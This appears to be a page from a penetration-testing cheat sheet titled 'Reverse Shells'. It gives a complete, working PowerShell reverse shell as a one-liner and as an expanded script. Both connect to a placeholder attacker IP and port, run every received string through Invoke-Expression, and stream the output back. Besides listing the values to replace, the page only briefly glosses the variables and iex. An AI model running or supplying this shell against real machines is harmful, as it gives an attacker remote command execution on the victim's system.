🐚Reverse Shells

Code (CMD One-liner)

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

To replace

• <attacker_ip>

• <port>

Code

$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<port>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
 $sendback = (iex $data 2>&1 | Out-String );
 $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
 $stream.Write($sendbyte,0,$sendbyte.Length);
 $stream.Flush();
}
$client.Close();

• $client: assigned the target IP address to the client variable

• $stream: stream variable

• $bytes: byte array

• iex: 3 (“Invoke- Expression”) cmdlet is a key part of this code chunk as it runs any string it receives as a command and the results of the command are then redirected and sent back via the data stream

Note:

• PDF page 88